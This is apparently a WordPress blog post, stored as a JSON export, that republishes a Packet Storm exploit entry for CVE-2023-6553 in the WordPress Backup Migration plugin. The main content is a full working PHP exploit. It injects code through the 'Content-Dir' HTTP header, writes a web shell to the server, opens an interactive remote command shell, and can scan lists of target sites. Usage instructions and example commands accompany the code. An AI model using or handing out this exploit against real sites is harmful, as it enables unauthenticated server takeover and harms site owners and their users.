{"id":27584,"date":"2025-11-25T13:38:19","date_gmt":"2025-11-25T13:38:19","guid":{"rendered":"http:\/\/localhost\/?p=27584"},"modified":"2025-11-25T13:38:19","modified_gmt":"2025-11-25T13:38:19","slug":"wordpress-backup-migration-128-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=27584","title":{"rendered":"\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution_PACKETSTORM:211997"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-25T19:09:16&#8243;,&#8221;description&#8221;:&#8221;WordPress Backup Migration plugin version 1.2.8 proof of concept code injection exploit for an older vulnerability from 2023&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-25T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-25T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:211997&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-6553&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : WordPress Backup Migration 1.2.8 PHP Code Injection                                                                         |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/wordpress.org\/plugins\/backup-backup\/                                                                                |\\n    =============================================================================================================================================\\n    \\n    POC : \\n    \\n    1. Vulnerability Overview\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    A critical Remote Code Execution vulnerability exists in the WordPress (https:\/\/packetstorm.news\/files\/id\/207962\/)\\n    plugin \\&#8221;Backup Migration\\&#8221; (backup-backup), allowing arbitrary PHP code\\n    execution via an unsafe header parameter inside:\\n    \\n        \/wp-content\/plugins\/backup-backup\/includes\/backup-heart.php\\n    \\n    The plugin processes attacker-controlled content from the HTTP header\\n    \\&#8221;Content-Dir\\&#8221; and writes it directly into PHP files inside the plugin\\n    directory. This allows an attacker to:\\n    \\n      \u2022 Write arbitrary PHP files  \\n      \u2022 Overwrite internal plugin files  \\n      \u2022 Deploy a persistent web shell  \\n      \u2022 Achieve full remote command execution  \\n    \\n    No authentication is required.\\n    \\n    ====================================================================\\n    \\n    2. PHP Exploit Description\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    This exploit is a full PHP CLI conversion of the original Python version.\\n    It performs:\\n    \\n      \u2022 Vulnerability verification  \\n      \u2022 Payload file creation  \\n      \u2022 Arbitrary file write via hex-encoded characters  \\n      \u2022 Deployment of an interactive remote shell  \\n      \u2022 Cleanup of the temporary shell  \\n    \\n    The exploit works even when many PHP execution functions are disabled.\\n    \\n    ====================================================================\\n    \\n    3. Usage Instructions (CLI Mode)\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n    Save the file as:\\n    \\n        exploit.php\\n    \\n    Then run from terminal:\\n    \\n        php exploit.php -u https:\/\/target.com\\n    \\n    Options:\\n        -u \\u003curl\\u003e     Test and exploit a single target\\n        -c           Check only (no shell deployment)\\n        -f \\u003cfile\\u003e    Scan a list of targets (one per line)\\n        -t \\u003cn\\u003e       Number of concurrent workers (default 5)\\n        -o \\u003cfile\\u003e    Save vulnerable hosts to output file\\n        &#8211;help       Show help\\n    \\n    Examples:\\n    \\n      \u2022 Check vulnerability only:\\n            php exploit.php -u https:\/\/site.com -c\\n    \\n      \u2022 Exploit and open interactive shell:\\n            php exploit.php -u https:\/\/site.com\\n    \\n      \u2022 Scan targets list:\\n            php exploit.php -f targets.txt -o vulnerable.txt\\n    \\n    ====================================================================\\n    \\n    4. Saving The PHP Code (Important)\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    1. Copy the PHP exploit code into a file named:\\n    \\n           exploit.php\\n    \\n    2. Make sure PHP CLI is installed:\\n           php -v\\n    \\n    3. Give execution permission (Linux only):\\n           chmod +x exploit.php\\n    \\n    4. Run the exploit:\\n           php exploit.php -u https:\/\/victim.com\\n    \\n    ====================================================================\\n    \\n    5. How The Exploit Works\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    Step 1: Send payload using \\&#8221;Content-Dir\\&#8221; header  \\n    Step 2: Plugin writes attacker-controlled PHP to temporary file  \\n    Step 3: Exploit writes final shell using hex-encoded bytes  \\n    Step 4: Web shell copied into plugin directory  \\n    Step 5: Interactive command execution via HTTP requests  \\n    \\n    The exploit shell uses GET parameter \\&#8221;?0=\\&#8221; to wrap command output with:\\n    \\n        [S] output [E]\\n    \\n    This allows clean extraction and parsing.\\n    \\n    ====================================================================\\n    \\n    6. Full PHP Exploit Code\\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\u003c?php\\n    \/**\\n     * CVE-2023-6553 Exploit \u2013 PHP CLI Version\\n     * by Indoushka\\n     *\/\\n    \\n    error_reporting(E_ALL);\\n    ini_set(&#8216;display_errors&#8217;, 1);\\n    \\n    class CVE_2023_6553 {\\n        public $base_url;\\n        public $temp_file_name;\\n        public $random_file_name;\\n    \\n        public function __construct($base_url) {\\n            $this-\\u003ebase_url = rtrim($base_url, &#8216;\/&#8217;);\\n            $this-\\u003etemp_file_name = chr(rand(65,90)); \/\/ single random char\\n            $this-\\u003erandom_file_name = substr(str_shuffle(\\&#8221;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\&#8221;),0,3) . \\&#8221;.php\\&#8221;;\\n        }\\n    \\n        public function send_payload($payload) {\\n            $url = $this-\\u003ebase_url . \\&#8221;\/wp-content\/plugins\/backup-backup\/includes\/backup-heart.php\\&#8221;;\\n            $ch = curl_init($url);\\n            curl_setopt_array($ch, [\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_HTTPHEADER =\\u003e [\\&#8221;Content-Dir: $payload\\&#8221;],\\n                CURLOPT_TIMEOUT =\\u003e 10,\\n                CURLOPT_POST =\\u003e true,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false\\n            ]);\\n            $res = curl_exec($ch);\\n            $err = curl_errno($ch);\\n            curl_close($ch);\\n            return ($err===0);\\n        }\\n    \\n        public function check_vulnerability() {\\n            $random_char = chr(rand(65,90));\\n            $payload = \\&#8221;\\u003c?php fwrite(fopen(&#8216;{$this-\\u003etemp_file_name}&#8217;,&#8217;w&#8217;),'{$random_char}&#8217;);?\\u003e\\&#8221;;\\n            $this-\\u003esend_payload($payload);\\n    \\n            $url = $this-\\u003ebase_url . \\&#8221;\/wp-content\/plugins\/backup-backup\/includes\/{$this-\\u003etemp_file_name}\\&#8221;;\\n            $ch = curl_init($url);\\n            curl_setopt_array($ch, [\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_TIMEOUT =\\u003e 10,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false\\n            ]);\\n            $res = curl_exec($ch);\\n            curl_close($ch);\\n    \\n            if(trim($res) === $random_char) {\\n                echo \\&#8221;[+] {$this-\\u003ebase_url} is vulnerable to CVE-2023-6553\\\\n\\&#8221;;\\n                return true;\\n            }\\n            return false;\\n        }\\n    \\n        public function write_string_to_file($string_to_write) {\\n            $init = \\&#8221;\\u003c?php fwrite(fopen(&#8216;{$this-\\u003etemp_file_name}&#8217;,&#8217;w&#8217;),&#8221;);?\\u003e\\&#8221;;\\n            $this-\\u003esend_payload($init);\\n    \\n            $len = strlen($string_to_write);\\n            for($i=0;$i\\u003c$len;$i++){\\n                $hex = bin2hex($string_to_write[$i]);\\n                $cmd = \\&#8221;\\u003c?php fwrite(fopen(&#8216;{$this-\\u003etemp_file_name}&#8217;,&#8217;a&#8217;),\\\\\\&#8221;\\\\\\\\x{$hex}\\\\\\&#8221;);?\\u003e\\&#8221;;\\n                if(!$this-\\u003esend_payload($cmd)){\\n                    echo \\&#8221;Failed at character: {$string_to_write[$i]}\\\\n\\&#8221;;\\n                    return false;\\n                }\\n            }\\n    \\n            $copy = \\&#8221;\\u003c?php copy(&#8216;{$this-\\u003etemp_file_name}&#8217;,'{$this-\\u003erandom_file_name}&#8217;);?\\u003e\\&#8221;;\\n            $this-\\u003esend_payload($copy);\\n            $delete = \\&#8221;\\u003c?php unlink(&#8216;{$this-\\u003etemp_file_name}&#8217;);?\\u003e\\&#8221;;\\n            $this-\\u003esend_payload($delete);\\n            return true;\\n        }\\n    \\n        public function retrieve_command_output($command) {\\n            $url = $this-\\u003ebase_url . \\&#8221;\/wp-content\/plugins\/backup-backup\/includes\/{$this-\\u003erandom_file_name}?0=\\&#8221; . urlencode($command);\\n            $ch = curl_init($url);\\n            curl_setopt_array($ch, [\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_TIMEOUT =\\u003e 10,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false\\n            ]);\\n            $res = curl_exec($ch);\\n            curl_close($ch);\\n            if(preg_match(\\&#8221;\/\\\\\\\\[S\\\\\\\\](.*?)\\\\\\\\[E\\\\\\\\]\/s\\&#8221;,$res,$m)) return $m[1];\\n            return \\&#8221;No output or functions disabled.\\&#8221;;\\n        }\\n    \\n        public function interactive_shell() {\\n            echo \\&#8221;[+] Entering interactive shell (type &#8216;exit&#8217; to quit)\\\\n\\&#8221;;\\n            while(true){\\n                echo \\&#8221;# \\&#8221;;\\n                $cmd = trim(fgets(STDIN));\\n                if($cmd === \\&#8221;exit\\&#8221;) break;\\n                echo $this-\\u003eretrieve_command_output($cmd) . \\&#8221;\\\\n\\&#8221;;\\n            }\\n        }\\n    }\\n    \\n    \/\/ &#8212;&#8212;&#8212;&#8212;&#8212;- CLI Handler &#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    $options = getopt(\\&#8221;u:f:t:o:c\\&#8221;);\\n    $url = $options[&#8216;u&#8217;] ?? null;\\n    $file = $options[&#8216;f&#8217;] ?? null;\\n    $threads = intval($options[&#8216;t&#8217;] ?? 5);\\n    $output = $options[&#8216;o&#8217;] ?? null;\\n    $check_only = isset($options[&#8216;c&#8217;]);\\n    \\n    if($url){\\n        $exploit = new CVE_2023_6553($url);\\n        if($exploit-\\u003echeck_vulnerability()){\\n            if(!$check_only){\\n                $shell_code = &#8216;\\u003c?php echo \\&#8221;[S]\\&#8221;;echo `$_GET[0]`;echo \\&#8221;[E]\\&#8221;;?\\u003e&#8217;;\\n                if($exploit-\\u003ewrite_string_to_file($shell_code)){\\n                    echo \\&#8221;[+] Shell deployed successfully!\\\\n\\&#8221;;\\n                    $exploit-\\u003einteractive_shell();\\n                    echo \\&#8221;[!] Deleting shell&#8230;\\\\n\\&#8221;;\\n                    $exploit-\\u003esend_payload(\\&#8221;\\u003c?php unlink(&#8216;{$exploit-\\u003erandom_file_name}&#8217;);?\\u003e\\&#8221;);\\n                }\\n            }\\n        } else {\\n            echo \\&#8221;[!] {$url} is not vulnerable.\\\\n\\&#8221;;\\n        }\\n    } elseif($file){\\n        $urls = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\\n        foreach($urls as $u){\\n            $exploit = new CVE_2023_6553($u);\\n            $exploit-\\u003echeck_vulnerability();\\n            if($output \\u0026\\u0026 $exploit-\\u003echeck_vulnerability()){\\n                file_put_contents($output,$u.PHP_EOL,FILE_APPEND);\\n            }\\n        }\\n    } else {\\n        echo \\&#8221;Usage: php exploit.php -u \\u003curl\\u003e [-c] | -f \\u003cfile\\u003e [-t threads] [-o output]\\\\n\\&#8221;;\\n    }\\n    ?\\u003e\\n    \\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/211997&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/211997\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-25T19:09:16&#8243;,&#8221;description&#8221;:&#8221;WordPress Backup Migration plugin version 1.2.8 proof of concept code injection exploit for an older vulnerability from 2023&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-25T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-25T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:211997&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-6553&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-27584","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution_PACKETSTORM:211997 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=27584\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution_PACKETSTORM:211997 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-11-25T19:09:16&#8243;,&#8221;description&#8221;:&#8221;WordPress Backup Migration plugin version 1.2.8 proof of concept code injection exploit for an older vulnerability from 2023&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-25T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-25T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:211997&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-6553&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=27584\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-25T13:38:19+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27584#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27584\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution_PACKETSTORM:211997\",\"datePublished\":\"2025-11-25T13:38:19+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27584\"},\"wordCount\":1429,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27584#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27584\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27584\",\"name\":\"\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution_PACKETSTORM:211997 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-11-25T13:38:19+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27584#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27584\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27584#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution_PACKETSTORM:211997\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution_PACKETSTORM:211997 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=27584","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution_PACKETSTORM:211997 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-11-25T19:09:16&#8243;,&#8221;description&#8221;:&#8221;WordPress Backup Migration plugin version 1.2.8 proof of concept code injection exploit for an older vulnerability from 2023&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-25T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-25T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:211997&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-6553&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n...","og_url":"https:\/\/zero.redgem.net\/?p=27584","og_site_name":"zero redgem","article_published_time":"2025-11-25T13:38:19+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=27584#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=27584"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution_PACKETSTORM:211997","datePublished":"2025-11-25T13:38:19+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=27584"},"wordCount":1429,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=27584#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=27584","url":"https:\/\/zero.redgem.net\/?p=27584","name":"\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution_PACKETSTORM:211997 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-11-25T13:38:19+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=27584#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=27584"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=27584#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 WordPress Backup Migration 1.2.8 Remote Code Execution_PACKETSTORM:211997"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27584","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=27584"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/27584\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=27584"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=27584"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=27584"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}